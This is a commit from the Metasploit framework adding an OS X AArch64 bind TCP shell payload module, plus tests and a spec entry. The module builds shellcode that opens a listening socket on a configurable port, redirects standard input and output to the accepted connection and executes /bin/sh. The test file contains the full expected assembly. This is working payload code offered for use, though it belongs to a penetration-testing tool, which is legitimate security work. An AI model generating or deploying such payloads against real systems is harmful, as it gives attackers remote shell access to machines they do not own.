Skip to content

Commit 562e1dc

Browse files
committed
Add osx aarch64 bind tcp payload
1 parent 4edb1e1 commit 562e1dc

File tree

3 files changed

+379
-0
lines changed

3 files changed

+379
-0
lines changed
Lines changed: 224 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,224 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 236
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Osx
11+
include Msf::Sessions::CommandShellOptions
12+
13+
def initialize(info = {})
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'OS X x64 Shell Bind TCP',
18+
'Description' => 'Bind an arbitrary command to an arbitrary port',
19+
'Author' => [ 'alanfoster' ],
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'osx',
22+
'Arch' => ARCH_AARCH64,
23+
'Handler' => Msf::Handler::BindTcp,
24+
'Session' => Msf::Sessions::CommandShellUnix
25+
)
26+
)
27+
28+
# exec payload options
29+
register_options(
30+
[
31+
OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
32+
Opt::LPORT(4444)
33+
]
34+
)
35+
end
36+
37+
def generate(_opts = {})
38+
# Split the cmd string into arg chunks
39+
cmd_str = datastore['CMD']
40+
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
41+
42+
cmd = cmd_and_args[0]
43+
args = cmd_and_args[1..]
44+
45+
# Don't smash the real sp register, re-create our own on the x9 scratch register
46+
stack_register = :x9
47+
cmd_string_in_x0 = create_aarch64_string_in_stack(
48+
cmd,
49+
registers: {
50+
destination: :x0,
51+
stack: stack_register
52+
}
53+
)
54+
55+
lport = datastore['LPORT'].to_i
56+
lhost = datastore['LHOST']
57+
58+
lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
59+
lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }
60+
61+
result = <<~EOF
62+
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
63+
// socket:
64+
mov x0, 0x2 // x0 = AF_INET
65+
mov x1, 0x1 // x1 = SOCK_STREAM
66+
mov x2, 0 // x2 = IPPROTO_IP
67+
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
68+
movk x16, #0x0061
69+
svc 0 // system call
70+
71+
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
72+
mov x13, x0
73+
74+
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
75+
// bind:
76+
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
77+
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
78+
movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})
79+
movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
80+
movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
81+
str x1, [sp, #-8]!
82+
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
83+
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
84+
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
85+
movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068
86+
movk x16, #0x0068
87+
svc 0
88+
89+
// int listen(int socket, int backlog);
90+
// listen:
91+
mov x0, x13 // x0 = socketfd, initially stored in x13
92+
movz x1, #0 // x1 = backlog = 0
93+
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a
94+
movk x16, #0x006a
95+
svc 0
96+
97+
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
98+
// accept:
99+
mov x0, x13 // x0 = socketfd, initially stored in x13
100+
mov x1, #0 // x1 = restrict address = NULL
101+
mov x2, #0 // x2 = address_len = 0
102+
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e
103+
movk x16, #0x001e
104+
svc 0
105+
106+
// Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
107+
mov x13, x0
108+
109+
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
110+
// dup2_calls:
111+
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
112+
movk x16, #0x005a
113+
mov x0, x13 // x0 = socket
114+
movz x1, 0 // x1 = STDIN
115+
svc 0 // system call
116+
mov x0, x13 // x0 = socket
117+
movz x1, 1 // x1 = STDOUT
118+
svc 0 // system call
119+
mov x0, x13 // x0 = socket
120+
movz x1, 2 // x1 = STDERR
121+
svc 0 // system call
122+
// int execve(const char *path, char *const argv[], char *const envp[]);
123+
// exec_call:
124+
// Set system call SYS_EXECVE 0x200003b in x16
125+
movz x16, #0x0200, lsl #16
126+
movk x16, #0x003b
127+
mov #{stack_register}, sp // Temporarily move SP into scratch register
128+
// Arg 0: execve - const char *path - Pointer to the program name to run
129+
#{cmd_string_in_x0}
130+
// Push execve arguments, using x1 as a temporary register
131+
#{args.each_with_index.map do |value, index|
132+
"// Push argument #{index}\n" +
133+
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
134+
end.join("\n")
135+
}
136+
// Arg 1: execve - char *const argv[] - program arguments
137+
#{cmd_and_args.each_with_index.map do |value, index|
138+
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
139+
[
140+
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
141+
"mov x1, #{stack_register}",
142+
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
143+
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
144+
].join("\n") + "\n"
145+
end.join("\n")}
146+
// argv[#{cmd_and_args.length}] = NULL
147+
str xzr, [#{stack_register}], #8
148+
// Set execve arg1 to the base of the argv array of pointers
149+
mov x1, #{stack_register}
150+
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
151+
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
152+
mov x2, xzr
153+
// System call
154+
svc #0
155+
EOF
156+
157+
compile_aarch64(result)
158+
end
159+
160+
def create_aarch64_string_in_stack(string, registers: {})
161+
target = registers.fetch(:destination, :x0)
162+
stack = registers.fetch(:stack, :x9)
163+
164+
# Instructions for pushing the bytes of the string 8 characters at a time
165+
push_string = string.bytes
166+
.each_slice(8)
167+
.each_with_index
168+
.flat_map do |eight_byte_chunk, _chunk_index|
169+
mov_instructions = eight_byte_chunk
170+
.each_slice(2)
171+
.each_with_index
172+
.map do |two_byte_chunk, index|
173+
two_byte_chunk = two_byte_chunk.reverse
174+
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
175+
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
176+
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
177+
end
178+
[
179+
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
180+
*mov_instructions,
181+
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
182+
]
183+
end
184+
push_string = push_string.join("\n") + "\n"
185+
186+
set_target_register_to_base_of_string = <<~EOF
187+
mov #{target}, #{stack} // Store the current stack location in the target register
188+
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
189+
EOF
190+
191+
result = <<~EOF
192+
#{push_string}
193+
#{set_target_register_to_base_of_string}
194+
EOF
195+
196+
result
197+
end
198+
199+
def align(value, alignment: 8)
200+
return value if value % alignment == 0
201+
202+
value + (alignment - (value % alignment))
203+
end
204+
205+
def compile_aarch64(asm_string)
206+
require 'aarch64/parser'
207+
parser = ::AArch64::Parser.new
208+
asm = parser.parse without_inline_comments(asm_string)
209+
210+
asm.to_binary
211+
end
212+
213+
# Remove any human readable comments that have been inlined
214+
def without_inline_comments(string)
215+
comment_delimiter = '//'
216+
result = string.lines(chomp: true).map do |line|
217+
instruction, _comment = line.split(comment_delimiter, 2)
218+
next if instruction.blank?
219+
220+
instruction
221+
end.compact
222+
result.join("\n") + "\n"
223+
end
224+
end
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
require 'rspec'
2+
3+
RSpec.describe 'singles/osx/aarch64/shell_bind_tcp' do
4+
include_context 'Msf::Simple::Framework#modules loading'
5+
6+
let(:subject) do
7+
load_and_create_module(
8+
module_type: 'payload',
9+
reference_name: 'osx/aarch64/shell_bind_tcp',
10+
ancestor_reference_names: [
11+
'singles/osx/aarch64/shell_bind_tcp'
12+
]
13+
)
14+
end
15+
let(:cmd) { nil }
16+
let(:lhost) { '127.0.0.1' }
17+
let(:lport) { '4444' }
18+
let(:datastore_values) { { 'CMD' => cmd, 'LHOST' => lhost, 'LPORT' => lport } }
19+
20+
before(:each) do
21+
subject.datastore.merge!(datastore_values)
22+
end
23+
24+
describe '#generate' do
25+
# Verify that the compile command is called with the expected asm string
26+
def expect_result_to_match(expected_asm)
27+
allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm|
28+
compiled_asm = original.call asm
29+
expect(asm).to match_table(expected_asm)
30+
expect(compiled_asm.length).to be > 0
31+
'mock-aarch64-compiled'
32+
end
33+
expect(subject.generate).to eq 'mock-aarch64-compiled'
34+
end
35+
36+
context 'when the CMD is /bin/bash' do
37+
let(:cmd) { '/bin/bash' }
38+
39+
it 'generates the execve system call payload without arguments present' do
40+
expected = <<~'EOF'
41+
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
42+
// socket:
43+
mov x0, 0x2 // x0 = AF_INET
44+
mov x1, 0x1 // x1 = SOCK_STREAM
45+
mov x2, 0 // x2 = IPPROTO_IP
46+
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
47+
movk x16, #0x0061
48+
svc 0 // system call
49+
50+
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
51+
mov x13, x0
52+
53+
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
54+
// bind:
55+
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
56+
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
57+
movk x1, #0x5c11, lsl #16 // sin_port = htons(4444)
58+
movk x1, #0x007f, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
59+
movk x1, #0x0100, lsl #48
60+
str x1, [sp, #-8]!
61+
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
62+
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
63+
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
64+
movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068
65+
movk x16, #0x0068
66+
svc 0
67+
68+
// int listen(int socket, int backlog);
69+
// listen:
70+
mov x0, x13 // x0 = socketfd, initially stored in x13
71+
movz x1, #0 // x1 = backlog = 0
72+
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a
73+
movk x16, #0x006a
74+
svc 0
75+
76+
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
77+
// accept:
78+
mov x0, x13 // x0 = socketfd, initially stored in x13
79+
mov x1, #0 // x1 = restrict address = NULL
80+
mov x2, #0 // x2 = address_len = 0
81+
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e
82+
movk x16, #0x001e
83+
svc 0
84+
85+
// Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
86+
mov x13, x0
87+
88+
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
89+
// dup2_calls:
90+
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
91+
movk x16, #0x005a
92+
mov x0, x13 // x0 = socket
93+
movz x1, 0 // x1 = STDIN
94+
svc 0 // system call
95+
mov x0, x13 // x0 = socket
96+
movz x1, 1 // x1 = STDOUT
97+
svc 0 // system call
98+
mov x0, x13 // x0 = socket
99+
movz x1, 2 // x1 = STDERR
100+
svc 0 // system call
101+
// int execve(const char *path, char *const argv[], char *const envp[]);
102+
// exec_call:
103+
// Set system call SYS_EXECVE 0x200003b in x16
104+
movz x16, #0x0200, lsl #16
105+
movk x16, #0x003b
106+
mov x9, sp // Temporarily move SP into scratch register
107+
// Arg 0: execve - const char *path - Pointer to the program name to run
108+
// Next 8 bytes of string: "/bin/bas"
109+
movz x0, #0x622f // "b/"
110+
movk x0, #0x6e69, lsl #16 // "ni"
111+
movk x0, #0x622f, lsl #32 // "b/"
112+
movk x0, #0x7361, lsl #48 // "sa"
113+
str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
114+
// Next 8 bytes of string: "h\x00"
115+
movz x0, #0x0068 // "\x00h"
116+
str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
117+
118+
mov x0, x9 // Store the current stack location in the target register
119+
sub x0, x0, #16 // Update the target register to point to base of the string
120+
121+
122+
// Push execve arguments, using x1 as a temporary register
123+
124+
// Arg 1: execve - char *const argv[] - program arguments
125+
// argv[0] = create pointer to base of string value "/bin/bash\x00"
126+
mov x1, x9
127+
sub x1, x1, #16 // Update the target register to point to base of the string
128+
str x1, [x9], #8 // Store the pointer in the stack
129+
130+
// argv[1] = NULL
131+
str xzr, [x9], #8
132+
// Set execve arg1 to the base of the argv array of pointers
133+
mov x1, x9
134+
sub x1, x1, #16
135+
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
136+
mov x2, xzr
137+
// System call
138+
svc #0
139+
EOF
140+
141+
expect_result_to_match(expected)
142+
end
143+
end
144+
end
145+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2279,6 +2279,16 @@
22792279
reference_name: 'osx/aarch64/meterpreter_reverse_https'
22802280
end
22812281

2282+
context 'osx/aarch64/shell_bind_tcp' do
2283+
it_should_behave_like 'payload cached size is consistent',
2284+
ancestor_reference_names: [
2285+
'singles/osx/aarch64/shell_bind_tcp'
2286+
],
2287+
dynamic_size: false,
2288+
modules_pathname: modules_pathname,
2289+
reference_name: 'osx/aarch64/shell_bind_tcp'
2290+
end
2291+
22822292
context 'osx/aarch64/meterpreter_reverse_tcp' do
22832293
it_should_behave_like 'payload cached size is consistent',
22842294
ancestor_reference_names: [

0 commit comments

Comments
 (0)